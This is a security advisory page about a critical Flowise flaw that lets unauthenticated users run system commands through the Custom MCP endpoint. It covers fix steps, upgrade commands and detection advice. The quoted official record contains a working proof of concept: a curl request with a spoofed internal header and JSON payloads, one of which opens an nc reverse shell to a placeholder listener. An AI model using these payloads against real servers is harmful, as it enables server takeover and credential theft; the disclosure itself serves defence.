Flowise can run system commands without login or permission checks
What this means
An attacker with network access to a Flowise server can run any system command on the machine where Flowise is installed. This can lead to theft of data, installation of malware, or complete takeover of the server. If Flowise is in a container or cloud environment, the attacker gains full control of that environment.
SecurityElites Manager Brief: the decision in one minute
Flowise lets anyone on the network run system commands if authentication is not set up. This is a critical risk. You must either upgrade to version 3.0.6 immediately, set authentication now, or take the service offline until you can upgrade.
| SecurityElites Fix-First Score | 51 of 100 Our own ranking of what to fix first. Real attacks count most, then the chance of attack, then severity. |
|---|---|
| SecurityElites fix window | Within 7 days Critical severity. This is our suggestion from common practice; your own policy comes first. |
| Who should own the fix | Platform or infrastructure team that manages Flowise deployment. |
| Likely effort | About 15 minutes to upgrade and restart, or longer if you need to test the fix in a staging environment first. It takes longer if you have many Flowise instances or if you need to coordinate with other teams. |
Questions to ask your team or supplier
- Do we have Flowise running anywhere without FLOWISE_USERNAME and FLOWISE_PASSWORD set? If so, we need to fix it today.
- What is the current version of Flowise across all our installations, and is any version older than 3.0.6?
- Who has network access to our Flowise servers, and should we restrict access to only internal IPs and authenticated users?
Message you can forward to the owning team
Security notice: Flowise can run system commands without login or permission checks (CVE-2025-71336)
Severity: Critical
SecurityElites Fix-First Score: 51 of 100
SecurityElites fix window: Within 7 days
Action: upgrade to flowise 3.0.6 or later.
What we need from you: confirm whether we run this software, who owns it, and the date it will be fixed.
Full guide: https://securityelites.com/ai-vulnerabilities/cve-2025-71336-flowise-can-run-system-commands-without-login-or-permission/
Source: SecurityElites AI Vulnerabilities Database, record SE-AIV-01609What is at stake in your AI setup
- Keys and credentials stored in Flowise configuration or environment variables could be read and exfiltrated.
- LLM API keys for OpenAI, Anthropic, or other providers connected to Flowise flows could be stolen and used to run up bills or poison outputs.
- Tools and external systems connected to Flowise agents (databases, file systems, APIs) could be accessed and manipulated by the attacker.
- Stored chat history, prompts, and training data could be read, modified, or deleted.
Who is exposed
- Flowise servers with no username and password configured (default state).
- Flowise servers behind a network firewall that trusts internal traffic without additional authentication.
- Flowise servers exposed to the public internet in any form.
- Teams running Flowise in containers or cloud environments without network segmentation.
Upgrades you need
| Software | Affected versions | Move to |
|---|---|---|
| flowise npm | 2.2.7-patch.1 up to, but not including, 3.0.6 | 3.0.6 or later |
Am I affected?
Enter the version you run. Nothing you type is stored.
SecurityElites Developer Brief: the technical picture
| Is it being attacked | Working attack code is public, so expect attacks to follow |
|---|---|
| Where the attacker must be | Anywhere that can reach it over a network, including the internet if it is exposed |
| Account needed | None. No login is needed |
| Does a person have to do something | No. It works without anyone clicking or opening anything |
| How hard it is to do | Easy. It works reliably once the attacker can reach it |
| Risk of: data being read | High |
| Risk of: data or settings being changed | High |
| Risk of: the service being taken down | High |
| Can attackers automate it at scale | Yes, according to CISA |
| How much control an attacker gains | Total control of the affected software, according to CISA |
Read from the official severity rating: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Kind of coding mistake
- CWE-78: operating system commands can be injected
- CWE-862: a permission check is missing
If you cannot upgrade today
- Set FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables to strong values and restart Flowise immediately. This blocks the vulnerable API endpoint from being called without a valid login.
- Remove or restrict network access to Flowise to only trusted administrators until you can upgrade to version 3.0.6.
- Disable the Custom MCP feature in Flowise configuration if it is not in use and cannot be removed until upgrade.
Signs it may already have been used against you
- Search web server logs and Flowise application logs for POST requests to the path /api/v1/node-load-method/customMCP.
- Look for requests that include the header x-request-from: internal, especially from unfamiliar IP addresses.
- Check system command audit logs (such as auditd on Linux) for unexpected executions of command-line tools like nc, bash, or npx.
- Review file creation timestamps and system process logs for activity that is unexpected or tied to Flowise startup times.
SecurityElites Fix Guide: step by step
- Find where Flowise is installed and what version you are runningLog in to each machine or container where Flowise is installed. Run npm list flowise or check the package.json file for the version number. Write down the version and the full path to the installation.
- Check if the version is older than 3.0.6Compare your version number to 3.0.6. If you are running version 2.2.7-patch.1 through 3.0.5, the vulnerability is present. If you are already on 3.0.6 or later, skip to the detect step.
- Check if authentication is enabledLook for the FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables in your Docker Compose file, your startup script, or your system environment. If both are set to non-empty values, authentication is on. If either is missing or empty, there is no login protection.
- Upgrade Flowise to version 3.0.6Stop the Flowise service. Update the package version in package.json or Docker image to 3.0.6, then reinstall dependencies and restart the service. Test that the web interface is reachable and loads correctly.
- If you cannot upgrade yet, enable authentication immediatelySet FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables to strong, unique values. Restart Flowise. Verify that you are prompted for a username and password when you visit the Flowise web interface. This reduces risk while you plan an upgrade.
- Review network access to FlowiseCheck firewall rules and load balancer settings. Flowise should only be reachable from trusted networks or through a VPN. Remove any public internet access. If Flowise must be on the internet, put it behind an authentication proxy or API gateway.
- Check if the system was already attackedReview logs for unusual API calls to /api/v1/node-load-method/customMCP. Look for requests with the x-request-from header set to 'internal'. Check system logs and file timestamps for any unexpected command execution or file creation. If you find signs of attack, isolate the system, preserve logs, and escalate to your security team.
- Verify the fix is in placeConfirm that the installed version is now 3.0.6 or later by running npm list flowise. If authentication was enabled, verify that you cannot access the Flowise interface without entering a correct username and password.
How to confirm it is fixed: Confirm the installed version is 3.0.6 or later by running npm list flowise, and verify that authentication prompts for username and password on login.
SecurityElites Quick Fixes: copy and paste
Upgrade flowise with npmupgrade
npm install flowise@3.0.6
npm ls flowiseCheck installed Flowise version on npmfor this issue
npm list flowiseCheck if FLOWISE_USERNAME and FLOWISE_PASSWORD are set in Docker Composefor this issue
grep -E 'FLOWISE_USERNAME|FLOWISE_PASSWORD' docker-compose.ymlRun the service in a locked-down containergeneral hardening
docker run --read-only --cap-drop ALL \
--security-opt no-new-privileges --user 1000:1000 \
-p 127.0.0.1:8080:8080 YOUR_IMAGETest in a non-production environment first. General hardening examples use placeholder names and ports; change them to match your setup.
Let your AI coding assistant do the upgrade
Paste this into the coding assistant you already use, inside the project. It checks first and asks before it changes anything.
Instruction for your coding assistant
You are helping me fix a security vulnerability (CVE-2025-71336) in this project.\n\n1. Search the whole repository, including lock files, container files and CI configuration, for these packages and list every place they are pinned or installed:\n - flowise (npm): must be 3.0.6 or later
2. Tell me which version we use now and whether it is affected. Stop and ask me before changing anything.
3. After I agree, raise each one to the safe version, update the lock files, and keep every other dependency as it is.
4. Run the tests and tell me what failed.
5. Give me a short summary of the files you changed that I can put in the pull request.SecurityElites Incident Drill: could your team handle this?
Four questions to ask in your next team meeting. If any has no clear answer, that is the gap to close.
Ticket for your backlog
Paste into Jira, GitHub Issues or any tracker that reads Markdown.
Ready-made ticket
## Flowise can run system commands without login or permission checks (CVE-2025-71336)
**Severity:** Critical | **SE Fix-First Score:** 51/100 | **Fix window:** Within 7 days
**Record:** SE-AIV-01609 https://securityelites.com/ai-vulnerabilities/cve-2025-71336-flowise-can-run-system-commands-without-login-or-permission/
### Why this matters
An attacker with network access to a Flowise server can run any system command on the machine where Flowise is installed. This can lead to theft of data, installation of malware, or complete takeover of the server. If Flowise is in a container or cloud environment, the attacker gains full control of that environment.
### What to do
1. Find where Flowise is installed and what version you are running
2. Check if the version is older than 3.0.6
3. Check if authentication is enabled
4. Upgrade Flowise to version 3.0.6
5. If you cannot upgrade yet, enable authentication immediately
6. Review network access to Flowise
7. Check if the system was already attacked
8. Verify the fix is in place
Full steps: https://securityelites.com/ai-vulnerabilities/cve-2025-71336-flowise-can-run-system-commands-without-login-or-permission/
### Done when
- [ ] flowise is at 3.0.6 or later everywhere it is installed
- [ ] Lock files, container images and CI configuration are updated
- [ ] Confirm the installed version is 3.0.6 or later by running npm list flowise, and verify that authentication prompts for username and password on login.
- [ ] Logs were checked for signs of earlier use
SecurityElites Fix Tracker
Record who owns this fix, the date it is due and when it is done, and see everything still open in one list. Free with a SecurityElites account.
Related vulnerabilities
In the same software
- Flowise CSV and Airtable agents allow data theft via prompt injection Critical · CVE-2026-73487
- Flowise can run commands and read files outside its sandbox Critical · CVE-2026-119978
- Flowise OAuth2 token endpoint open to anyone, leaks access tokens Critical · CVE-2026-70478
- Flowise CSV Agent can run Python code sent by attackers Critical · CVE-2026-70477
- Flowise allows authenticated users to change other organizations' billing High · CVE-2026-70476
- Flowise allows any authenticated user to change execution records without permission check High · CVE-2026-70475
The same kind of mistake in other AI tools
- Langflow OSS allows arbitrary code execution through tool listing without admin check High · CVE-2026-128876
- Langflow OSS can run arbitrary code via tool-call interface before admin check High · CVE-2026-128867
- Langflow OSS allows remote code execution through improper code handling High · CVE-2026-127065
- Langflow OSS allows authenticated users to run arbitrary code High · CVE-2026-122088
- Langflow OSS allows authenticated users to run any command on the server High · CVE-2026-120601
Change history
- 15 Sep 2025: Made public
- 2 Dec 2026: Published
Official record
### Summary The Custom MCPs feature is designed to execute OS commands, for instance, using tools like `npx` to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, the default installation of Flowise operates without authentication unless explicitly configured using the `FLOWISE_USERNAME` and `FLOWISE_PASSWORD` environment variables.This combination presents a significant security risk, potentially allowing users on the platform to execute unsandboxed system commands. This can result in Remote Code Execution (RCE) and complete compromise of the running platform container or server.### PoC 1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as `npx`, `pnpm`, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker2. Create a new file named `payload.json` somewhere in your machine, with the following data: ``` {"inputs":{"mcpServerConfig":{"command": "touch","args": ["/tmp/yofitofi"]}},"loadMethod":"listActions"} ```3. Send the following `curl` request using the `payload.json` file created above with the following command: ``` curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP" ```4. Observe that a new file named `yofitofi` is created under `/tmp` folder.Similarily, we can use the same technique to gain a reverse shell using the built-in `nc` utility with the following JSON payload: ``` {"inputs":{"mcpServerConfig":{"command": "nc","args": [ "<LISTENER_IP_ADDRESS>","<LISTENER_PORT>","-e","/bin/sh" ]}}, "loadMethod":"listActions"} ```### Impact Remote code execution### Mitigation - Consider adding additional access controls surronding sensitive functionality such as Custom MCP, e.g. only users with "Admin" roles will be able to configure new Custom MCPs within the platform. - Consider disabling the Custom MCP feature by default, with a clear disclaimer for end users on the implications of enabling this feature. - Consider running Custom MCPs within a sandboxed environment### Credit The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.
Weakness type: CWE-78, CWE-862
Use this record in your own tools
Get this record as JSON
curl https://securityelites.com/wp-json/se-aivd/v1/vulns/CVE-2025-71336For scanners and pipelines: OSV format · CycloneDX format · API guide · Email alerts · Fix tracker
The plain-language sections were written with AI from the official record, and the upgrade versions come directly from the official data. Last updated 2 Dec 2026. Read the vendor advisory before changing a production system.